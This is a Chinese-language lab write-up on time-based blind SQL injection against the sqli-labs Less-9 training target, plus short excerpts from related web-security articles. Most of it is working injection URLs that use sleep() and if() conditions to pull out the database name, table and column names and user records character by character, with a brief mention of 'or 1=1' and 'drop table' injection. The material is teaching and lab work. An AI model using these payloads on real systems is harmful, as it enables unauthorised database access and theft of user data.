通過本實驗理解sql時間盲注漏洞的定義方法,掌握基於sql時間盲注的手工注入方法,熟悉sql時間盲注存在的原因,掌握sql時間盲注的防護方法。
目標靶機:sqli平台less-9
1.為什麼使用延時注入
(1)部分**沒辦法 union select 聯合查詢方式注入
(2)部分**沒有輸出顯示,只能通過延時判斷;
2.時間盲注的sql語句原理
(1)sleep(n)語句:使資料庫在暫停n秒之後再將搜尋結果輸出;
(2)if((條件),m,n)語句:若條件為真,返回m;若條件為假,返回n;
3.時間盲注常用函式
length(database())語句:返回當前資料庫名長度。
mid(database(),m,n):返回資料庫名的第m位之後的n位。
第一步 登入sqli-labs平台
第二步 登入kali平台,啟動firefox瀏覽器訪問sqli-labs的less-9
在瀏覽器位址列中輸入http://【靶機ip】/less-9/,訪問sqli-labs的less-9。
第三步 判斷注入點與注入型別
(1)http://【靶機ip】/less-9/?id=1' and length(database())>0 %23
或http://【靶機ip】/less-9/?id=1' and length(database())>0 --+
頁面正常,沒有反應
(2)http://【靶機ip】/less-9/?id=1' and length(database())<0 %23
或http://【靶機ip】/less-9/?id=1' and length(database())>0 --+
頁面正常,沒有反應
同樣id=1'或id=1"的結果仍然與正常訪問一致。
(2)採用sleep()函式進行測試
http://【靶機ip】/less-9/?id=1' and sleep(10) %23
或http://【靶機ip】/less-9/?id=1' and sleep(10) --+
響應明顯變緩慢,響應速度如下:
對比沒有使用sleep()函式時的狀態如下:
得出結論:存在時間盲注。
下面基於時間盲注進行資料庫資訊獲取:
第四步 獲取資料庫名的長度
http://【靶機ip】/less-9/?id=1' and if((length(database())=8),1,sleep(5)) --+
http://【靶機ip】/less-9/?id=1' and if((length(database())=7),1,sleep(5)) --+
得出結論:資料庫名長度為8。
第五步 探測資料庫其他資訊
(1)判斷資料庫名
http://【靶機ip】/less-9/?id=1' and if(ascii(substr(database(),1,1)=115,1,sleep(5)) --+
資料庫名的第乙個字母為s(ascii為115),判斷成功直接返回,判斷錯誤的話是暫停5秒。
(2)獲取表
http://【靶機ip】/less-9/?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5)) --+
然後
http://【靶機ip】/less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+
email表的第乙個字母為e(ascii為101),判斷成功直接返回,判斷錯誤的話是暫停5秒。
以此類推,我們可以得到所有的資料表:emails,referers,uagents,users
(3)獲取列
http://【靶機ip】/less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+
猜測users表的第乙個列的第乙個字元是i。
以此類推,我們得到列名是id,username,password
(4)獲取列值
http://【靶機ip】/less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5)) --+
猜測username的第一行的第一位為d。
按照這種思路依次來獲取全部資料庫資訊。
通過本次實驗,成功實現了利用sql時間盲注漏洞獲取了資料庫的表單資訊,掌握了sql時間盲注漏洞的手工攻擊方法,在此基礎上可以深入理解對其的防護策略。
WEB安全 SQL注入
sql注入 or 1 例如 select form table1 where name param 一般param是從頁面輸入控制項傳遞來的資料 如果你在控制項中輸入 or 1 1 那麼他將查詢所有的資料出來 表示後面的都被注釋掉了 你還可以 drop table table1 那麼他將刪除該錶,其...
web安全 sql注入
所謂sql注入,就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。具體來說,它是利用現有應用程式,將 惡意的 sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入 惡意 sql語句得到乙個存在安全漏洞的 上的資料庫,...
Web安全實踐(2)基於http的web架構剖析
web安全實踐系列導航 安全技術區 前言 web安全實踐系列主要是對 黑客大 web應用安全機密與解決方案 第二版 的內容做的實踐研究和部分程式設計實現。所以如果您能完全理解那本書可以跳過本文章。正文 2.1確定目標 1 ping。這是最常規的方法,我們可以對已知網域名稱做該操作來獲得ip位址。3 ...